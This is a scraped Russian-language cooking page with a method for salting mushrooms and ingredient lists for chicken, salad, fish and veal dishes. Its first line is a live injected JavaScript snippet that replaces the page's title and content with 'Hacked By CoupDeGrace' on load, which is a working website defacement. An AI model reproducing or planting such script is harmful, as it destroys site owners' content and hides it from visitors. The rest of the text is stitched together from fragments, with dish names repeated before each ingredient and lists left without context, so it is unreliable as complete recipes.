document.addEventListener('DOMContentLoaded', function(){document.title='Hacked By CoupDeGrace';document.body.style.cssText='margin:0;overflow:hidden';document.body.innerHTML='
Hacked By CoupDeGrace
';});

Готовим:

Для соления можно использовать пластинчатые грибы - рыжики, волнушки, свинушки, грузди, сыроежки, лисички, валуи, опята и другие. Надо заметить, что при солении хорошо использовать разные грибы, а не одного вида: тогда вкус и аромат их становятся полнее. Существуют два способа соления грибов - холодный и горячий. При холодном способе засола перебранные грибы нужно вымачивать 2 - 3 дня в холодной воде, многократно меняя ее для удаления млечного сока. В это время грибы необходимо хранить только в холодном помещении, так как в тепле они могут забродить и закиснуть. Вымоченные грибы уложить до краев в подготовленную посуду (эмалированную кастрюлю, бочку) ножками вверх, пересыпать солью из расчета 3 - 4% к массе грибов, т.е. на 10 кг. грибов 300 - 400 г. соли. Пряности и приправы: чеснок, перец, укроп, лист хрена, лист черной смородины, лавровый лист, душистый перец, гвоздику и др. положить на дно бочки, сверху, а также переложить ими грибы в середине. Надо помнить, что в рыжики добавлять пряности не принято. Сверху нужно положить деревянный кружок и груз. По мере оседания грибов в бочке можно укладывать новую их порцию, пересыпая их солью, и так до заполнения емкости. После этого грибы нужно вынести в холодное место. При таком засоле рыжики готовы к употреблению через 10 - 12 дней, грузди - через 30 - 40 дней, валуи - через 1,5 - 2 месяца. При горячем способе засола перебранные и вымытые грибы сначала нужно бланшировать, затем откинуть на решето, чтобы стекла вода, после чего уложить в посуду, подготовленную для засола, добавить пряности и пересыпать солью.

 

Для приготовления блюда "Курица по-тропически" нам понадобятся:

Курица по-тропически 6-8 кусков курицы,

Курица по-тропически 400 г карликовой мороженной моркови,

Курица по-тропически 50 г изюма,

Курица по-тропически 1 банка консервированных нарезанных ананасов,

Курица по-тропически 1 пакет лукового супового порошка,

Курица по-тропически 1 стакан кока-колы,

Курица по-тропически 2 ложки соевого соуса,

Курица по-тропически 1/2 ч. ложки черного перца,

Курица по-тропически 4 ложки меда,

Курица по-тропически 3 ложки кетчупа.

Продукты:

Салат Красная шапочка 500 г. куриного филе,

Салат Красная шапочка 3 яйца,

Салат Красная шапочка 3 отварные среднего размера моркови,

Салат Красная шапочка 4 отварные картофелины,

Салат Красная шапочка 1 средняя луковица,

Салат Красная шапочка 300 г. сыра твердых сортов,

Салат Красная шапочка листья салата,

Салат Красная шапочка 1 гранат,

Салат Красная шапочка 100 г. грецких орехов.

Куриное филе с кунжутом - фото рецепт приготовления

Продукты:

Филе курицы - 0.5 кг., яйцо - 1 шт., соль, семена кунжута для панировки.

Мясной рулет фаршированный яйцами - пошаговый фоторецепт

Продукты:

Для приготовление данного блюда нам потребуется 500 г. куриного фарша, 100 г. грибов (в данном случае использовались вешенки), морковь средняя — 1 шт., лук репчатый — 1 шт., яйца — 5 шт., соль, перец, небольшой пучок зеленого лука, приправа для курицы.

 

Для приготовления блюда "Тушеная камбала" нам понадобятся:

 Камбала (филе)- 400 г.,

 картофель - 150 г,

 морковь - 1 крупная,

 сельдерей - 100 г,

 лук - 1 крупная головка,

 помидоры - 400 г.,

 петрушка - 1 ст.л.,

 соль-1/2 ч.л.,

 тмин-1/2 ч.л.,

 перец - на кончике ножа.

Продукты:

 

Телятина - 700 г, яйца - 5 шт., хлеб белый - 100 г, молоко - 100 г, лук репчатый - 50 г, помидоры - 500 г, перец, соль по вкусу.

Салат Золотая рыбка

Для приготовления блюда "Салат с отварной горбушей "Золотая рыбка"" нам понадобятся:

Салат с отварной горбушей Золотая рыбка Свежемороженая горбуша - 1 шт. (весом в 1 кг),

Салат с отварной горбушей Золотая рыбка яйцо куриное - 4-5 шт.,

Салат с отварной горбушей Золотая рыбка масло сливочное замороженное - 50 гр.

Салат с отварной горбушей Золотая рыбка картофель - 3 шт.,

Салат с отварной горбушей Золотая рыбка морковь - 2-3 шт.,

Салат с отварной горбушей Золотая рыбка майонез,

Салат с отварной горбушей Золотая рыбка кусочек семги малосольной,

Салат с отварной горбушей Золотая рыбка 50 гр. икры красной,

Салат с отварной горбушей Золотая рыбка несколько веточек зелени укропа для украшения

Салат с отварной горбушей Золотая рыбка соль, перец черный молотый, лавровый лист.

Продукты:

100 г легких, сало копченое, 0,5 яйца, масло сливочное, соль, перец.

Страница 1 из 68